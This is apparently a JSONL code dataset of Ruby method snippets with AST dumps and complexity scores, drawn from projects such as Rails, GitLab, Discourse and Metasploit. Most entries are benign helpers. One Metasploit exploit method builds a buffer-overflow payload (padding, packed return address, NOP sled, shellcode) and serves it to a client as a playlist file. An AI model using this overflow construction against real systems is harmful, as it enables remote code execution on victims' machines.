{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/tunes/tunes_stubbing.rb","start_line":379,"raw_source":"def itc_stub_promocodes\n      stub_request(:get, \"https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/898536088/promocodes/versions\").\n        to_return(status: 200, body: itc_read_fixture_file(\"promocodes.json\"),\n                  headers: { \"Content-Type\" => \"application/json\" })\n    end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"itc_stub_promocodes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/898536088/promocodes/versions\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"itc_read_fixture_file\",{\"type\":\"str\",\"children\":[\"promocodes.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"52376dfd-9588-44ed-ba63-7460e1764da6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/update_thread_notification_settings.rb","start_line":56,"raw_source":"def threading_enabled_for_channel(thread:)\n      thread.channel.threading_enabled\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"threading_enabled_for_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"thread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"channel\"]},\"threading_enabled\"]}]}","id":"781415e3-b061-49d1-b1b3-351c2cead58c"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":34,"raw_source":"def header\n          lines.first\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lines\"]},\"first\"]}]}","id":"7e182751-7588-4e7a-b483-40fd84f28f18"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/mini_stream.rb","start_line":74,"raw_source":"def on_request_uri(cli, request)\n    # Calculate the correct offset\n    host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n    host << \":#{datastore['SRVPORT']}/\"\n    offset = target['Offset'] - host.length\n\n    # Construct our buffer\n    sploit = rand_text_alpha(offset)\n    sploit << [target.ret].pack('V')\n    sploit << make_nops(32)\n    sploit << @p\n\n    print_status(\"Sending malicous payload\")\n    send_response(cli, sploit, { 'Content-Type' => 'application/pls+xml' })\n  end","complexity_score":32.55,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@p\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending malicous payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"sploit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/pls+xml\"]}]}]}]}]}]}","id":"f3508a20-396c-44a8-8869-fea1d3910a5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/users/project_studio.rb","start_line":6,"raw_source":"def self.enabled_for_user?(user)\n      new(user).enabled?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled_for_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"enabled?\"]}]}","id":"eef3b07a-e420-4ffe-a99a-c653be1c1d3d"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/role_users_controller.rb","start_line":19,"raw_source":"def load_parent\n        @parent = current_store\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]}","id":"71ee523a-bc66-4d1d-afe6-3300ba3b08af"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql.rb","start_line":404,"raw_source":"def prepare(str)\n    st = Stmt.new @protocol, @charset\n    st.prepare str\n    st\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"st\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stmt\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@protocol\"]},{\"type\":\"ivar\",\"children\":[\"@charset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"st\"]},\"prepare\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"lvar\",\"children\":[\"st\"]}]}]}","id":"873e86f7-0a60-434d-804c-7845c61401f5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/options.rb","start_line":180,"raw_source":"def test__skip_file_option\n    options = setup_options_from_input(\"--skip-files\", \"file1.rb,file2.rb,file3.js,file2.rb\")\n    assert_equal Set[\"file1.rb\", \"file2.rb\", \"file3.js\"], options[:skip_files]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test__skip_file_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--skip-files\"]},{\"type\":\"str\",\"children\":[\"file1.rb,file2.rb,file3.js,file2.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file1.rb\"]},{\"type\":\"str\",\"children\":[\"file2.rb\"]},{\"type\":\"str\",\"children\":[\"file3.js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_files\"]}]}]}]}]}","id":"236f6e81-f44e-403e-828f-7429e1da1819"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/sharing_mailer.rb","start_line":95,"raw_source":"def set_open_project_headers(work_package)\n    open_project_headers \"Project\" => work_package.project.identifier,\n                         \"WorkPackage-Id\" => work_package.id,\n                         \"Type\" => \"WorkPackage\"\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_open_project_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"open_project_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"project\"]},\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WorkPackage-Id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"str\",\"children\":[\"WorkPackage\"]}]}]}]}]}","id":"b4f6b078-8ffb-4cf0-aad4-1956545ab9c7"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/tokens_controller.rb","start_line":114,"raw_source":"def revoke_token\n      # The authorization server responds with HTTP status code 200 if the token\n      # has been revoked successfully or if the client submitted an invalid\n      # token\n      revocable_token.revoke if revocable_token.revocable?\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable_token\"]},\"revocable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable_token\"]},\"revoke\"]},null]}]}","id":"a316f5c5-a506-4cc1-8c73-98099e79ee55"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/execution_context.rb","start_line":74,"raw_source":"def to_h\n        record.store.dup\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"store\"]},\"dup\"]}]}","id":"2057b06d-c806-4182-aa7f-b797cfeb29aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/fake_s3.rb","start_line":33,"raw_source":"def stub_bucket(full_bucket_name)\n    bucket_name, _prefix = full_bucket_name.split(\"/\", 2)\n\n    s3_helper =\n      S3Helper.new(\n        full_bucket_name,\n        (\n          if Rails.configuration.multisite\n            FileStore::S3Store.new.multisite_tombstone_prefix\n          else\n            FileStore::S3Store::TOMBSTONE_PREFIX\n          end\n        ),\n        client: @s3_client,\n      )\n    @buckets[bucket_name] = FakeS3Bucket.new(full_bucket_name, s3_helper)\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_bucket\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_bucket_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bucket_name\"]},{\"type\":\"lvasgn\",\"children\":[\"_prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_bucket_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s3_helper\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"S3Helper\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"full_bucket_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"multisite\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileStore\"]},\"S3Store\"]},\"new\"]},\"multisite_tombstone_prefix\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileStore\"]},\"S3Store\"]},\"TOMBSTONE_PREFIX\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"ivar\",\"children\":[\"@s3_client\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buckets\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"bucket_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeS3Bucket\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"full_bucket_name\"]},{\"type\":\"lvar\",\"children\":[\"s3_helper\"]}]}]}]}]}","id":"cd59ed3a-3009-4cf9-9468-7a790037f751"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/safe_inline_hash.rb","start_line":15,"raw_source":"def merge_keys!(prefix:, connector:)\n        raise ArgumentError, 'The Hash is too big' unless valid?\n\n        Gitlab::Utils::InlineHash.merge_keys(hash, prefix: prefix, connector: connector)\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_keys!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"prefix\"]},{\"type\":\"kwarg\",\"children\":[\"connector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"The Hash is too big\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"InlineHash\"]},\"merge_keys\",{\"type\":\"send\",\"children\":[null,\"hash\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector\"]},{\"type\":\"lvar\",\"children\":[\"connector\"]}]}]}]}]}]}","id":"ee2fc5d8-00be-414b-8c20-69aa17efeb8a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":63,"raw_source":"def test_clean_fixtures\n    FIXTURES.each do |name|\n      fixtures = nil\n      assert_nothing_raised { fixtures = create_fixtures(name).first }\n      assert_kind_of(ActiveRecord::FixtureSet, fixtures)\n      fixtures.each { |_name, fixture|\n        fixture.each { |key, value|\n          assert_match(MATCH_ATTRIBUTE_NAME, key)\n        }\n      }\n    end\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clean_fixtures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fixtures\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"fixtures\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_fixtures\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FixtureSet\"]},{\"type\":\"lvar\",\"children\":[\"fixtures\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fixtures\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_name\"]},{\"type\":\"arg\",\"children\":[\"fixture\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fixture\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"const\",\"children\":[null,\"MATCH_ATTRIBUTE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}","id":"50a5758a-1fd1-4a1f-8e05-eca717221c0d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/crawler/msfcrawler.rb","start_line":454,"raw_source":"def targethost\n    crawler.ctarget\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"targethost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"crawler\"]},\"ctarget\"]}]}","id":"65c3bd4c-9164-4b76-8eaa-232c615d7dc5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/predictive_tests/metrics_exporter.rb","start_line":37,"raw_source":"def initialize(\n        test_type:,\n        all_failed_tests_file:,\n        test_runtime_report_file: nil,\n        log_level: :info,\n        output_dir: nil\n      )\n        @test_type = test_type.tap do |type|\n          raise \"Unknown test type '#{type}'\" unless TEST_TYPES.key?(type.to_sym)\n        end\n\n        @failed_test_files = read_array_from_file(all_failed_tests_file)\n        @output_dir = output_dir || File.join(project_root, \"tmp\", \"predictive_tests\")\n        @test_runtime_report_file = test_runtime_report_file\n\n        @logger = Logger.new($stdout, level: log_level).tap do |l|\n          l.formatter = proc do |severity, _datetime, _progname, msg|\n            # remove datetime to keep more neat cli like output\n            \"[Metrics Export - #{test_type}] #{severity}: #{msg}\\n\"\n          end\n        end\n      end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"test_type\"]},{\"type\":\"kwarg\",\"children\":[\"all_failed_tests_file\"]},{\"type\":\"kwoptarg\",\"children\":[\"test_runtime_report_file\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"log_level\",{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"output_dir\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@test_type\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_type\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEST_TYPES\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown test type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@failed_test_files\",{\"type\":\"send\",\"children\":[null,\"read_array_from_file\",{\"type\":\"lvar\",\"children\":[\"all_failed_tests_file\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@output_dir\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"project_root\"]},{\"type\":\"str\",\"children\":[\"tmp\"]},{\"type\":\"str\",\"children\":[\"predictive_tests\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@test_runtime_report_file\",{\"type\":\"lvar\",\"children\":[\"test_runtime_report_file\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"log_level\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"formatter=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"severity\"]},{\"type\":\"arg\",\"children\":[\"_datetime\"]},{\"type\":\"arg\",\"children\":[\"_progname\"]},{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Metrics Export - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_type\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"severity\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}]}","id":"d36f2e61-1c9b-4207-8a0d-389656aec8d5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/user_role_policy.rb","start_line":22,"raw_source":"def self_editing?\n    role.id == record.id\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"self_editing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"id\"]}]}]}","id":"33ea60ef-62b7-49ee-8864-5bf7493b6354"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/hook_data/base_builder.rb","start_line":36,"raw_source":"def absolute_image_urls(markdown_text)\n        return markdown_text unless markdown_text.present?\n\n        regex = Gitlab::UntrustedRegexp.new(MARKDOWN_SIMPLE_IMAGE, multiline: false)\n        return markdown_text unless regex.match?(markdown_text)\n\n        regex.replace_gsub(markdown_text) do |match|\n          if match[:image] && !match[:https]\n            url = match[:url]\n            url = File.join(uploads_prefix, url) if url.start_with?('/uploads', 'uploads')\n            url = \"/#{url}\" unless url.start_with?('/')\n\n            \"![#{match[:title]}](#{Gitlab.config.gitlab.url}#{url})\"\n          else\n            match.to_s\n          end\n        end\n      end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"absolute_image_urls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markdown_text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown_text\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown_text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UntrustedRegexp\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"MARKDOWN_SIMPLE_IMAGE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiline\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"markdown_text\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown_text\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]},\"replace_gsub\",{\"type\":\"lvar\",\"children\":[\"markdown_text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"image\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"https\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/uploads\"]},{\"type\":\"str\",\"children\":[\"uploads\"]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"uploads_prefix\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"![\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"to_s\"]}]}]}]}]}","id":"da4fd709-ed6c-42ab-9043-097e831ad224"}
